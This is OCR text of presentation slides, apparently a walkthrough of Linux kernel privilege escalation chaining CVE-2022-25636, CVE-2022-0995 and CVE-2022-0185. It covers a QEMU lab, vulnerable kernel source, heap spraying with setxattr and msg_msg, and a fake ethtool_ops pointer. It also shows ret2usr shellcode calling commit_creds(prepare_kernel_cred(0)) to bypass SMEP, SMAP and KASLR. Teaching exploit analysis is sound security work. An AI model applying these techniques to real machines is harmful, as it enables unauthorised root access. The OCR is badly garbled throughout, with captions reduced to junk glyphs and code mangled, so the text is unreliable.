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R QEMW Linux 1)/
A Linux 5/ v ¥ 5.13.19
A QEMM x 4.2.1

A

aT Vv 4 x Ubuntu Focal

gemu

—-system—x86_64 \

—cpu kvm64,+smap,+smep \

—enable-kvm \

-snapshot \

-m 256M \

-smp 2 \

—kernel ${KERNEL} \

—append "nokaslr console=ttyS@ root=/dev/sda earlyprintk=serial net.ifnames=0" \
—drive file=${HDA}, format=raw \

-net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \

-net nic,model=el000 \

—nographic \

-fsdev local,security_model=passthrough, id=fsdev@, path=${LINUX} \
—device virtio-9p-pci,id=fs@, fsdev=fsdev®,mount_tag=hostlinux \
—-fsdev local,security_model=passthrough, id=fsdevl, path=${SHARE} \
—device virtio-9p-pci,id=fsl, fsdev=fsdevl,mount_tag=hostshare \
-pidfile vm.pid \

2>&1 | tee vm.log




CVE 2022- 25636« ré+ 1 . HYTi 4

A netfilter we \ M Q &
h 3 I\/I G Tj a1 Me = ULE
S 2

He)
Hvs)

<
q))

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)

struct flow_action_entry *entry;
struct net_device *dev;

/* nft flow rule destroy() releases the reference on this device.

dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;

entry = &flow-—>rule->action.entries[ctx->num_actions++];

entry->id = id; - .
entry_>dev = dev; entrleS N d_)j] K

return 0;

}
EXPORT_ SYMBOL GPL(nft_fwd dup_netdev_offload);

*/

struct nft_flow_rule xnft_flow_rule_create(struct net xnet,
const struct nft_rule xrule)

struct nft_offload_ctx skctx;
struct nft_flow_rule *xflow;
int num_actions = 0, err;
struct nft_expr *xexpr;

expr = nft expr first(rule); 3 entries A
fwhile (nft_expr_more(rule, expr)) {
if (expr—>ops—>offload_flags & NFT_OFFLOAD_F_ACTION)

num_actions++; | flags 1

expr = nft_expr_next(expr);

\.

flow = nft_flow_rule_alloc(num_actions);. entries A\

(uhile (nft_expr_more(rule, expr)) { . dentries A\
if (l!expr->ops->offload) {
err = —EOPNOTSUPP;
goto err_out;
} | flags %%l
e pp—m—pr—repa—>0Tf load (ctx, flow, expr);

net/netfilter/nf_dup_netdev.c

net/netfilter/nf _tables_offload.c



3 while | v nk offload flags b
expr @M\ (m n)
A num_actions=m 1 entries Q4 N

A offload T nK1 entries Q4 N
JnkK (ctx - >num_actions=n)

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)

struct flow_action_entry *entry;
struct net_device *dev;

/* nft flow rule destroy() releases the reference on this device.

dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;

entry = &flow-—>rule->action.entries[ctx->num_actions++];

entry->id = id; - .
entry_>dev = dev] entrleS N d_)j] K

return 0;

}
EXPORT_ SYMBOL GPL(nft_fwd dup_netdev_offload);

*/

struct nft_flow_rule xnft_flow_rule_create(struct net xnet,
const struct nft_rule xrule)

struct nft_offload_ctx skctx;
struct nft_flow_rule *xflow;
int num_actions = 0, err;
struct nft_expr *xexpr;

expr = nft expr first(rule); 3 entries A
fwhile (nft_expr_more(rule, expr)) {
if (expr—>ops—>offload_flags & NFT_OFFLOAD_F_ACTION)

num_actions++; | flags 1

expr = nft_expr_next(expr);

\.

flow = nft_flow_rule_alloc(num_actions);. entries A\

(uhile (nft_expr_more(rule, expr)) { . dentries A\
if (l!expr->ops->offload) {
err = —EOPNOTSUPP;
goto err_out;
} | flags %%l
e pp—m—pr—repa—>0Tf load (ctx, flow, expr);

net/netfilter/nf_dup_netdev.c

net/netfilter/nf _tables_offload.c



kmalloc -128

flow_rule

match
num_entries
entries[0] write
write

entries[m

-1]

kmalloc -4k

net_device

----*

struct net_device *dev

struct net_device *dev




kmalloc - 128

flow_rule

match
num_entries
entries[0] write
entriesim - 1] write
entries[m] write
entries[n - 1] write

| kmalloc -4k

net_device

----*

struct net_device *dev

struct net_device *dev

struct net_device *dev

struct net_device *dev
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match
num_entries
entries[0] write
entriesim - 1] write
entries[m] write
entriesin - 1] write

| kmalloc - 4k
net_device

----»

struct net_device *dev

struct net_device *dev

struct net_device *dev

struct net_device *dev

10
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L/ U 'P long watch_queue_set_filter(struct pipe_inode_info *pipe,
struct watch_notification_filter __user x filter)
CVE 2022-0995eé R H A ':] A« I | At { N wfilter ->filters . 2 N
'[' ’H ‘YT '|' -'] S ’H ‘YT '|' \,I ’ [2] ffor (1 = 0; i < filter.nr_filters; i++) { A
"’ ) oo if ((tf[il.info_filter & ~tf[il.info_mask) ||
M A« m X tf[i].info_mask & WATCH_INFO_LENGTH)
a ] . . goto err_filter;
A /" "Qwatch_queue_set filter M2 /% Ignore any unknown types %/
oo t - — .. . < "4—' — if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
%Wa'[Ch_fH'[eI’ LQB_J.,.: A T T I continue; 16* 8=128=0x80

. I o < ] &filteﬁﬂ y
A watch_filter Gifilter QA4 2 n oo }

L BET w A _ LA . ) wfilter - >filters
3” H"QI%J’ I_b b | @ H e p §/8’ ’I U HA l X wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);

M7 E] q= wfilter—>filters; H  dowfilter - >filters
(i =0; i < filter.nr_filters; i++) { \
] if (tf[i]l.type >= sizeof(wfilter—>type_filter) * BITS_PER_LONG)
tffi].type Gv UBOv 1 E  Jtf [i]type continue; 167 64=1024=0x400
p [0x80,0x400) 'Hi wfilter | wr A QI g->type = tf[i].type;
pY . < g->info_filter = tf[i]l.info_filter;
U -K e p %l M7 %U "I s " b g->info_mask = tf[i].info_mask;
o7 r=-a & . r==n Sy g->subtype_filter[0] = tf[i].subtype_filter[0];
A E] %:—QB--IJ] k l tf[l] :-QB-J-:R 04 e | ; P f_l k ¢ _ set_bit(g->type, wfilter->type_filter);
AL @ T G§cav’ ' ks o J

}
ﬁ_

kernel/ watch_queue.c
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L/ v P

6 . HYTt A1 1M~ A« Bt ép

M™ A« x __set_bit(off, ptr) N ptr 3

\ off Y- Gy J 1

Ap ° Qa1 _ set bit
>type_filter

~~

N wfilter -
5 N g->type = iy J 1

A wfilter - >type_filter d h "Yb
wfilter 0% Dy

A a 7 JVHH].type A ol
__set_bit 3y, h wm[wfilter,
wfilter+0x400)

A E wfilter 2 nnss
128B(0x400/8=0x80=128)  'Hi __set_bit
OT hN 7§ =

Ah @ xb HisJJY6BHA d ki
9 ! 1

long watch_queue_set_filter(struct pipe_inode_info *pipe,
struct watch_notification_filter __user % filter)

{

for (1 =0; 1 < filter.nr_filters; i++) {
if ((tf[i].info_filter & ~tf[i].info_mask) ||
tf[i].info_mask & WATCH_INFO_LENGTH)
goto err_filter;
/* Ignore any unknown types */
if (tf[i].type >= sizeof(wfilter—>type_filter) * BITS_PER_LONG)
continue; CCHYTt A
nr_filter++;
}

. ) wfilter - >filters
wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);

q = wfilter->filters;
for (1 =0; i < filter.nr_filters; i++) {
if (tf[i].type >= sizeof(wfilter—>type_filter) * BITS_PER_LONG)

continue; ~ Hi & (0x400) 2

g->type = tf[il.type;

g-=>info_filter = tf[i]l.info_filter;

g->info_mask = tf[i].info_mask;
gq->subtype_filter([0] = tf[i].subtype_filter[0];
__set_bit(g->type, wfilter—>type_filter);

q++; wfilter - >type_filter[q - >type]=1

¥ “Thit T
ﬂ_

kernel/ watch_queue.c
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: kmalloc - 96 _Z
| [
wrilter
~(- >type
\
\
0100101 H '\
\
\
\
\
I I
- >type_filter[q - >type]=1

wfilter

5"

CVE 2022 - 0995

type_filter [2]

nr_filters filters[0]

filters[0]

filters[O] filters[1]

filters[1]

filters[1] filters[2]

filters[2]

filters[2]

<empty>

subtype_Til
type ter[0]
info_filter info_mask

13




”
| kmalloc - 96 : =
| 1=
wfilter
~q- >type
\
\
010010 1 B \
\
\
\
\
[ |
- >type_filter[q - >type]=1

wfilter

A

CVE 2022 - 0995

type_filter [2]

CVE 2022 - 0995

nr_filters filters[O]

filters[0]

filters[O] filters[1]

filters[1]

filters[1] filters[2]

filters[2]

filters[2]

<empty>

14
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_/ U P static int legacy_parse_param(struct fs_context xfc, struct fs_parameter xparam)
{
struct legacy fs context xctx = fc—>fs_private; ~
r-~ ” o THR L [3] unsigned int size f ctx->data_size; legacy data t 1 A'Oz N
10BJ! N -
CVE 2022- 018565« r &+ T  F 3 CLosiones i size} et e b A TA R
A o) o A
r_l / Q egaCy parse param A T switch (param—>type) {

T & R rH N Q-Q| ol Mz M~ 3 y OB} case fs_value_is_string:

len = 1 + param—>size;
fallthrough;
case fs_value_is_flag:

A ¢ 0 1) T Ae '{JEOEE"QTQ' /] / AL 1 ,3"3 9 len += strlen(param->key);

e

~ . o X break;
@ | Aépgp 7§ «
}
if (len > PAGE SIZE - 2 - size)] N A
return invalf(fc, "VFS: Legacy: Cumulative options too large");
TF’K’E/\ﬁ' legacy data gacy P g
— ctx->legacy_datalsize++] = ',';
! len = strlen(param->key);
= dummy_data Imemcpy(ctx—>legacy_data + size, param—>key, len);l\
legacy data ize += len: * JL/
dummy_data . ! . . ’
/1f (param—>type == fs_value_is_string) { f

|_ T size 11 len ctx—>legacy data[size++] = '=':
(2) #iilegacy data t (b) HRENKIE \memcpy(ctx—>legacy_data + size, param->string, param—>size)l

e ] .
Sslze += param—->slze,;

¥

fs/fs_context.c
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3 T FREAIE legacy_data

"keyl=strl, key2=str2, key B

= dummy data

A keylstr T 1 A_ BAQCY )1, = resaysate aomny aata

=70 Q) r o ; ¢

A b &) . T ® HI 5 j-_l \U Y 6 ]] K (a) ¥li&legacy data (b) BREANHE
L g1 7 ~ msg_msg¥im_ts E 4 ©8ig, s tesacydata
ey s B
m_list
. |_ m_type | ,= 0x1080
) mlist next %curity
msg_msg) | n m_type m_ts
legacy_data ©¢F next T security data
(c) $Emsg_msg (d) FRERS A SIS

16
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CVE 2022 - 0185

o, Nki Aw
"keyl=strl, key2= str2, key!]
A keylstr T 1 A_ @(AQO )i, 3

=70 Q) r o

Ah ® T= HisJ] vwWYBSK

L g 7 Jumsg_msgiim tsE 4 GBig, ae

17
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[1] https://bonfee.me/2022 -03-17-cve - 2022 - 25636/
[2] https://nvd.nist.gov/vuln/detail/ CVE - 2022 - 0995
[3] https://www.willsroot.io/2022/01/cve - 2022 - 0185.htm|
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CVE 2022 - 25636 mov data to

6
3 kernel - space 5

‘-----\ A

f lip CR3 register

{ 1 mov code to 10
kernel - space leak ksymtab

A

a

\--'

CVE 2022- 0995 “==m====

leak offset

SMAP SMEP KASLR FG KASLR

2 4 7 9
CVE 2022 - 0185

A

3

11

12 1

getting root without
control - flow hijacking

20



CVE 2022 - 25636

match
num_entries
entries[0] | wite
_ write
entries[1]] = == 0 F--------

kmalloc - 4k

net_device

------*

net_device

HiHmp v Y

CVE 2022 - 25636

struct net_device *de

struct net_device *dev

21




SMEP/SMAP

CVE 2022 - 25636 kmalloc_- 4 o=t X
I name I
net_device ~ I |
— J] 1 ® I ,
match y Y 1 A : :
I \
1 1 I I
1 1 \
I I | |
num_entries ] : \\ I <attr> I
I
L] \ ' !
: | \ | |
_________ 1 1 \ | |
||
i ; \ I |
entries[0] | _V\irlie_ L struct net_device *de\! \ I ethtool_ops :
I
! \ I I
| M |
| ‘i I
: \ <attr>
I {! I
) { :
_________ 1 I\ )
_ write struct net_device *dev ST -
entries[1]] = == 0 F--------
— <func>
begin
<func> 22




N

CVE 2022 - 25636 | Kmalloc - | o ----~ !
. : . | |
if (!(ioctl(fd, SIOCETHTOOL, &ifr) < 0)) | name |

| |
match I 7\ 7y I |
int dev_ioctl(struct net xnet, unsigned int cmd, struct ifreq *ifr, : :
void __user xdata, bool *xneed_copyout) : :
num_ent { I <attr> I
e I I
switch (cmd) { I |
n e I I
case SIOCETHTOOL: | |
entries[C dev_load(net, ifr->ifr_name); T ethtool_ops I
ret =f dev_ethtool{net, ifr, data); [ I
\ | |
M I
\ <attr>
{ |
3
— { |
static int \ ]
__dev_ethtool(struct net *net, struct ifreq xifr, void __user xuseraddr, \\' ____________ —
entﬁes[] u32 ethcmd, struct ethtool_devlink_compat *xdevlink_state)
{ — <func>
if (dev->ethtool_ops—>begin) { —
rc = dev->ethtool_opsk>begin(dev); <func> 23




SMEP/SMAP

kmalloc - 4k -
name
net_device
match 7y 1 A
| 1 \
1
AR
num_entries ] : \\ <attr>
1
P! \
L \
_________ 1 : \
. . * \
entries|0] ___V\irlfe____ struct net_device de\i \ . ethtool_ops
1 \ :
| v
: N
: \i <attr>
I
I i\
--------- : 1\
_ write struct net_device *dev :
entriesf[l]] = ===Z00 0@F-------- L, <func>
1272 net _device M 1 p Y, &H i
@ v U0 1 0YK - ~




name

<attr>

ethtool_ops(faked)

<attr>

<func>

begin(faked)

<func>

kmalloc - 4k

net_device

------*
-

struct net_device *dev

© W Onet device 1 ®Y

name

<attr>

ethtool _ops

- e -
-

<

<attr>

I--
v

<func>

begin

<func>

25




name

<attr>

ethtool_ops(faked)

<attr>

<func>

begin(faked)

<func>

—
—
- .

kmalloc - 4k

net_device

~
------*

struct net_device *dev

' >
Q-
>
-
S
]
)

k

name

<attr>

ethtool _ops

<attr>

<func>

begin

<func> 26




(voidx)setxattr_bufs_
0x1000,
XATTR_CREATE) == -1) {

- 4k

kmalloc

t device

\z

il+16,

{

<attr>

<attr> /

<func>

begin(faked)

<func>

ethtool_ops(faked) /

struct net_device *

name

tatic long

etxattr(struct dentry *d, const char __user *name, const void __user *value,

size_t size, int flags)

int error;
void *kvalue = NULL;
char kname[XATTR NAME MAX + 1];

if (flags & —(XATTR_CREATE |XATTR_REPLACE))
return -EINVAL;

error = strncpy_ from user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))

error = -ERANGE;
if (error < 0)

return error;

if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;

kvalue = kmalloc(size, GFP_KERNEL | __ GFP_NOWARN);

if (!'kvalue) {
kvalue = vmalloc(size);
if (!'kvalue)
return -ENOMEM;

}

if (copy_from user(kvalue, value, size)) {
error = -EFAULT;
goto out;

}

<func>

21




(voidx)setxattr_bufs_

kmalloc

- 4k |

name
t device

il+16,

static long
0X1000! \?Nsetxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
XATTR_CREATE) == -1) { : {
| int error;
<attr> / I void *kvalue = NULL;
] : char kname[XATTR NAME MAX + 1];
|
/ I if (flags & —(XATTR_CREATE|XATTR_REPLACE))
/ | return -EINVAL;
1
/ .
c * error = strncpy_from user(kname, name, sizeof(kname));
ethtool_ops(faked) / struct net_dewce ‘ if (error == 0 || error == sizeof(kname))
error = -ERANGE;
/ if (error < 0)
/ return error;
/
if (size) {
<attr> / if (size > XATTR SIZE_MAX)
/ return -E2BIG;
/ kvalue = kmalloc(size, GFP_KERNEL | __ GFP_NOWARN);
if (!'kvalue) {
y kvalue = vmalloc(size);
53 Z if (!'kvalue)
B LII 3 Setxattr /1 l return -ENOMEM;
<func> ' L }
f net—deVICe U /l l'IJ if (copy_from user(kvalue, value, size)) {
- error = -EFAULT;
begin(faked) goto out;
}
<func> <func> 28




sudo cat /proc/slabinfo #I will only show partial output for brevity

slab® ¢ UHYpp/ A3D! &° 08

# name <active objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor>
z i hY Qo z s - < . .
P I r " # : slabdata <active slabs> <num slabs> <sharedavail>
T e | T 0BJ; H
e
=)
(L) vm_area_struct J65543 66082 208 19 1 : tunables 0 0 0 slabdata 3478 3478 0
L
mm_struct 213 225 2112 15 8 tunables 0 0 0 slabdata 15 15 0
~ . [ < :
= 7 r | files cache 228 3 704 23 4 tunables 0 0 0 slabdata 10 10 0
A SLUB  + 12 ] T Gislab H — v LE
L-—a signal_cache 4 1024 16 4 tunables 0 0 0 slabdata 28 28 0
sighand_cache 414 435 2112 15 8 tunables 0 0 0 slabdata 29 29 0
< - N < hY .
A Slab H N A e I-X II T A e S T A task struct 1102 1125 5952 5 8 tunables 0 0 0 slabdata 225 225 0
dma-kmalloc-256 0 0 256 16 1 tunables 0 0 0 slabdata 0 0 0
Y I = ~ 4 € dma-kmalloc-128 0 0 128 32 1 tunables 0 0 0 slabdata 0 0 0
el !l @ /proc/slabinfo ! HY  fomaices 0 o 64 64 1:tumbles O © 0:slidata 0 0 o
1Y
F==n AN dma-kmalloc-32 0 0 32 128 1 tunables 0 0 0 slabdata 0 0 0
LOB‘]_:/‘I e '1 ‘3 dma-kmalloc-16 0 0 16 256 1 : tunables 0 0 0 : slabdata 0 0 0
o dma-kmalloc-8 0 0 8 512 1 : tunables 0 0 0 : slabdata 0 0 0
~ F--n o~ hY e kmalloc-256 1801 ;ﬁGE 256 16 1 tunables 0 0 0 slabdata 129 129 0
V (6} kl | |a”OC ‘0BJ! | T /‘I e |l || M '0BJ!  Jkma11oc-192 a0V Wiy 192 21 1 : tunables 0 0 0 : slabdata 210 210 0
~ N kmalloc-128 2689 2752 128 32 1 tunables 0 0 0 slabdata 86 86 0
l II .T A é kmalloc-96 6952 7350 96 42 1 tunables 0 0 0 slabdata 175 175 0
kmalloc-64 25933 26496 64 64 1 : tunables 0 0 0 slabdata 414 414 0
N R ~ ~ ~ kmalloc-32 15150 15616 32 128 1 tunables 0 0 0 slabdata 122 122 0
. 1 1 H kmalloc-16 18432 18432 16 256 1 : tunabl 0 0 0 labdata 72 72 0
A 1 Aed AT kmalloc) 1 Ei Q | snavies siabss
kmalloc-8 10149 10240 8 1 tunables 0 0 0 slabdata 20 20 0
< -

iz n  OAd é°

Ve

ex AM kmalloc() “° 84BI  yEhQp
kmalloc -964A € A" 1 + WEG#Z n R™: (64, 96]

29



SMEP/SMAP

- o e =» kmalloc() ¢t ————— i
v U : :
1 [
I [
I :
: kmalloc - 4k : name
I [
: setxattr :
I [
1 I
1 [
: net_device :
- I <attr>
I [
1 [
setxattr = 4k 4K =
ethtool _ops
<attr>
— setxattr  OT H A 3 "Onet_device  Ge v {1 #

6 . . y 30
i YD net device | — a



msg_msg

| kmalloc - 4k

net_device

’
P m_list
’
’
m_type
m_ts
next
A security
\ /
\ /
\ 7/
A4 <content>
/7 N\
/ \
/ \
net_device 1 W _ security d ¢

msgr\cv(msqid, msgp, msgsz, msgtyp, msgflg);

void free_msg(struct msg_msg *msqg)

{

struct msg_msgseg *seg;
security msg msg_free(msg);

seg = mgg->next;

kfree(mgqg) ;

while ($eg != NULL) {

struct msg_msgseg *tmp = seg->next;

cond_resched( );
kfree(seq);
seg = tmp;

security msg _msg_ free(struct msg_msg *msqg)

call _void_hook (msg_msg_free_security, msg)

msg->security = NULL;

31



| kmalloc -192

flow_rule

match

num_entries

entries[0]

entries[1]

entries[2]

0x000

kmalloc -4k

net_device

------->

struct net_device *dev

32




msg_msg[0]

msg_msg[1]

dev

msg_msg[2]

SMEP/SMAP

0x050

entries[3]

0x0a0
entries[4]

0x0f0
entries[5]

0x140
entries[6]

0x190
entries[7]

kmalloc - 4k

net_device

------->

struct net_device *dev




| kmalloc: - 4k |

CVE 2022 - 25636

I I net_device
| kmalloc -192 |
. I | ? |
1
_ | : |
m_list "
1
:
m_type 1
1
m_ts :
1
next !
: dev
security (= = o o e I
I
I
msg_msg :
I
'S <content> :
| 1 S o < |+t mm=—————
| I S o
| [l ~ ‘
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kmalloc - 4k

setxattr

setxattr

setxattr

kmalloc - 4k

setxattr

call void_hook(msg msg free security, msg);
kfree (msg->security);
msg->security

void security msg msg free(struct msg msg *msqg)

kmalloc - 4k

net_device

l-------------*



struct ethtool_ops {

u32
u32
void
int
void
void
int
u32
void
int
u32
int

int
int

int
int
int
void
int
void
void
int
void
void

int
void

cap_link_ lanes_supported:1;
supported_coalesce_params;
(*get_drvinfo) (struct net_device *, struct ethtool_drvinfo *);
(*get_regs_len) (struct net_device *);
(*get_regs) (struct net_device *, struct ethtool_regs *, void *);
(*get_wol) (struct net_device *, struct ethtool_wolinfo *);
(*set_wol) (struct net_device *, struct ethtool_wolinfo *);
(*get_msglevel) (struct net_device *);
(*set_msglevel) (struct net_device *, u32);
(*nway_reset) (struct net_device *);
(*get_link) (struct net_device *);
(*get_link_ext_state) (struct net_device *,
struct ethtool_link_ext_state_info *);
(*get_eeprom_len) (struct net_device *);
(*get_eeprom) (struct net_device *,
struct ethtool_eeprom *, u8 *);
(*set_eeprom) (struct net_device *,
struct ethtool_eeprom *, u8 *);

(*get_coalesce) (struct net_device *, struct ethtool_coalesce *);
(*set_coalesce) (struct net_device *, struct ethtool_coalesce *);
(*get_ringparam) (struct net_device *,

struct ethtool_ringparam *);
(*set_ringparam) (struct net_device *,

struct ethtool_ringparam *);
(*get_pause_stats) (struct net_device *dev,

struct ethtool pause_stats *pause_stats);

(*get_pauseparam) (struct net_device *,

struct ethtool_pauseparam*);
(*set_pauseparam) (struct net_device *,

struct ethtool_pauseparam*);
(*self_test) (struct net_device *, struct ethtool_test *, u64 *);
(*get_strings) (struct net_device *, u32 stringset, u8 *);
(*set_phys_id) (struct net_device *, enum ethtool_phys_id_state);
(*get_ethtool_stats) (struct net_device *,

struct ethtool stats *, u64 *);

[int

(*begin) (struct net_device *);

void

(*complete) (struct net_device *);

<func> &= 0xc8

begin

<func>

name

<attr>

kmalloc - 4k

CVE 2022 - 25636

setxattr

setxattr(net_device

p—

"I-l-l-l--

setxattr

ethtool_ops

<attr>
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struct ethtool_ops {

u32
u32
void
int
void
void
int
u32
void
int
u32
int

int
int

int
int
int
void
int
void
void
int
void
void

int
void

cap_link_ lanes_supported:1;
supported_coalesce_params;
(*get_drvinfo) (struct net_device *, struct ethtool_drvinfo *);
(*get_regs_len) (struct net_device *);
(*get_regs) (struct net_device *, struct ethtool_regs *, void *);
(*get_wol) (struct net_device *, struct ethtool_wolinfo *);
(*set_wol) (struct net_device *, struct ethtool_wolinfo *);
(*get_msglevel) (struct net_device *);
(*set_msglevel) (struct net_device *, u32);
(*nway_reset) (struct net_device *);
(*get_link) (struct net_device *);
(*get_link_ext_state) (struct net_device *,
struct ethtool_link_ext_state_info *);
(*get_eeprom_len) (struct net_device *);
(*get_eeprom) (struct net_device *,
struct ethtool_eeprom *, u8 *);
(*set_eeprom) (struct net_device *,
struct ethtool_eeprom *, u8 *);

(*get_coalesce) (struct net_device *, struct ethtool_coalesce *);
(*set_coalesce) (struct net_device *, struct ethtool_coalesce *);
(*get_ringparam) (struct net_device *,

struct ethtool_ringparam *);
(*set_ringparam) (struct net_device *,

struct ethtool_ringparam *);
(*get_pause_stats) (struct net_device *dev,

struct ethtool pause_stats *pause_stats);

(*get_pauseparam) (struct net_device *,

struct ethtool_pauseparam*);
(*set_pauseparam) (struct net_device *,

struct ethtool_pauseparam*);
(*self_test) (struct net_device *, struct ethtool_test *, u64 *);
(*get_strings) (struct net_device *, u32 stringset, u8 *);
(*set_phys_id) (struct net_device *, enum ethtool_phys_id_state);
(*get_ethtool_stats) (struct net_device *,

struct ethtool stats *, u64 *);

[int

(*begin) (struct net_device *);

void

(*complete) (struct net_device *);

ethtool _ops

r

name

fake=ops=ac78l FD

<func>

ethtool_ops

begin

<func>

4

net _device J] €

ByNEY

/

Il dbv 1t v (fake ops_addr

)

CVE 2022 - 25636

| kmalloc - 4k

setxattr

setxattr(net_device)

‘-—-—-

setxattr

37




kmalloc -4k

kmalloc - 128

match

net_device

num_entries

flow_rule

entries[0]

----->

struct net_device *de

dev

entries[1]

e ﬁ-l----*

struct net_device *dev




SMEP/SMAP

CVE— 2022 - 25636 I kmalloc - 4k |

/7 net_device
7/
7/

P match 5 yy

| | ’ | I ! |

7/

| kmalloc - 128 1 . ' . '
17 num_entries : I
I
: I
_________ 1 1
write struct net_device *de\l
_________ T
entries[0 1
msg_msgseg S N ] :
N I
| ! AN |
| | N I
| | , |
nex I
I I e !
dev write struct net_device *dev

msgrcv
USER SPACE == === — <content> |
msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
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summary

kmalloc - 4k
name
net_device
A
]
I
I
I
<attr> :

name

struct net_device *dev

ethtool_ops(faked)

<attr>

V | § net device o

v

V %4 net_device o msgrcv

<func>

T AV or n/ M

begin(faked)

____________ » shellcode

<func>

V € net _device © setxattr
\Y; — @ net_device o0 msg->security

0

<attr>

ethtool _ops

\

\

-*-----

<

<attr>

===

<func>

begin

<func>
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shellcode

vuln_func(...) {

é.opy_from_user()

Writable Page

shellcode

:s:;/scall(...);

shellcode




SMEP/SMAP

ret2usr

ret2 usr

-

A i
n/ B L
A 1 AV

"/ Th 1"QQ°Y w1 AV
ll_q)‘ = "Q*QIJ_Q‘)‘ [9]

Ly 1w/ ™ Y w1 AM
N1 AM L TE

S5 X @ ushellcode

A Ern/ i 7T @&’E 1AM TIb
A QLG 1 @/ QQY w1 AV

hy =

A 1 AM

VT AM
S % Wl

[ IQ ’?‘Q
FQQJ _

OBl X | KR

Big X | AEEé

T AM  Th
ROP

Big X | AEEé

Corrupted Code Pointer

Corrupted Data Pointer

Kernel Space

Controlled Data Structure

R Controlled Code Pointer
’
I

--

"

User Space

Shellcode




SMEP/SMAP

retzusr Oxc8 begin ethtool_ops
fake_ops_addr N S | kmalloc - 4k I
name N
\ S
user_get_shell \ S o setxattr
\ N
N
\ \ :
movabs rax, \ \ setxattr(net_device)
<prepare_kernel_cred> \
\ A fake_ops acT&FD
xor rdi, rdi \ ) P /
N \ / setxattr
call rax \\ \ <func> = 0xc8 //
mov rdi, rax \ ethtool_ops // : :
mova_bs rax, \\ begin /
<commit_creds> /
<func> /
call rax /
/
swapgs; push <user_state>; /
iretq y
USER_SPACE
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ret2usr h ' x T commit _creds( prepare_kernel cred(NULL) )
VT N : V- }
fake ops addr M::;::"E | |(1) Start to Execute Process P : : 2 call prepare_kernel_cred(0)— : ® Call commit_creds(struct cred *new) | |
- - ' | |
————m e ——— N R I - = - - 2
user_get_shell | || - '
| struct task_struct{ | | N — | I struct task_struct{ :
Ty | I Py .
I struct cred *real_cred, T —— - : [ I : Struct cre;l =‘greaé_lczad_: == |
I struct cred *cred;— — - — ! : L ROOT Privileges o .sfruct Ses i | |
movabs rax, & L) et euid Ly | i |
| ; y 1
<prepare_kernel_cred> I : : I kuid_t GLOBAL_ROOT_UID; I I R | | :
] ] | Current Privileges of P c | | m = =T | : ; : |
xor rdi, rdi | |struetcred [ : | || kernel_cap_t CAP_FULL SET; *: | | i | |
| | b -4 —-——_——_—_——————— | 1
| . . | I
Kerne| kuid_t Cuid; I | } | ! I
call rax Memory | | | kgig t Cgid; = : | | : : : |
sflpr?;ess | kernel_cap_t Ccap_bset;|, _%L I q S ¥ R 4- J-———— 1 | I
H nsiae |
mov rdi, rax Container : ) : || L : I
I I
movabs rax, ' = : o L
. I Highest Privileges of P : || | | 1 |
<commit_creds> | [struct credy 1) | Lo
i - [ I
kuid t  Ruid; [ I P!
call rax : i B | Lo
] . kernel_cap_t Rcap_bset; o I_ _| ________________ |~ _| _________________ : |
swapgs push <user state> Ly * X 7 |
| iretq | 1 B : : | : |
L _ A 9 _ J
L, Xin & L, Lingguang & W, Yuewu & J, Jiwu & S, Kun & Z, Quan. (2018).
USER_SPACE . . N
- A Measurement Study on Linux Container Security: Attacks and Countermeasures. 44

418- 429. 10.1145/3274694.3274720.



ret2usr

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

Oxffffffff8la86f2e <dev_ethtool+206> mov rdi, r14

» OxFFFfffff81a86f31 <dev_ethtool+209> call __x86_indirect_thunk_rax
fake ops_addr rdi: 0 , dx /* ox6f6c; 'lo’
rsi: 0x7fffo6
user_get_shell b
— — rex:
1 Oxffffffff81a86f36 <dev_ethtool+214> r15d, eax
Oxffffffff81a86f39 <dev_ethtool+217> eax, eax
movabs rax oxffffffff81a86f3b <dev_ethtool+219> dev_ethtool+560
1
<prepare_kernel_cred> oxffffffff8la86f4l <dev_ethtool+225> ecx, dword ptr [rsp + 0
oxffffffff81la86f45 <dev_ethtool+229> rbx, qword ptr [ri4 +
xor rdi, rdi oxffffffff8la86f4c <dev_ethtool+236> ecx, 0x30
oxffffffff8l1a86f4f <dev_ethtool+239> ja dev_ethtool+339 <dev_ethtool+339
call rax oxffffffff81a86f51 <dev_ethtool+241> cmp ecx, fixed_percpu_data+44
Oxffffffff81la86f54 <dev_ethtool+244> ja dev_ethtool+2048
mov rdi, rax [ REGISTERS / show-f

RAX 0x «— endbré64 | /* 0xe5894855faledff3 =/
280 <— 1

movabs rax,
<commit_creds>

"E dev- >ethtool ops - >begin(dev)

-

A rax 3 é ©ig x user get shell  ©8ig x

call rax

swapgs; push <user_state>;
iretq

USER_SPACE
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SMEP/SMAP

ret2usr

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
fake_ops_addr oy Lo
— — Oxffffffff82002360 <__x86_indirect_thunk_rax> 1fence
OxfTffffff82002363 <__x86_indirect_thunk_rax+3> jmp rax
user_get_shell &
0x4031e7 endbré4
1 0x4031eb push rbp
0x4031ec mov rbp, rsp
0x4031ef movabs rax, prepare_kernel_cred
movabs rax, 0x4031f9 xor rdi, rdi
<prepare_kernel_cred> 0x4031fc call rax
: : 0x4031fe mov rdi, rax
Xor rdl’ I'dl 0x403201 movabs rax, commit_creds
0x40320b cal
call rax [ [ 'ERS / show-f
0x4031e7 «— endbré4 /* 0xe5894855fale@dff3 %/
mov rdi, rax
movabs rax, __x86_indirect_thunk_rax [

<commit_creds>

A jmp  rax A"Yb @iy J 1 o "E user_get shell ]
Ax ¥ A" @, 1edh 1T AM "E Y

X

call rax

swapgs; push <user_state>;
iretq

USER_SPACE
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SMEP/SMAP

retzusr LEGEND: STACK HEA DATA RODATA
0x4031e7
0x4031eb push
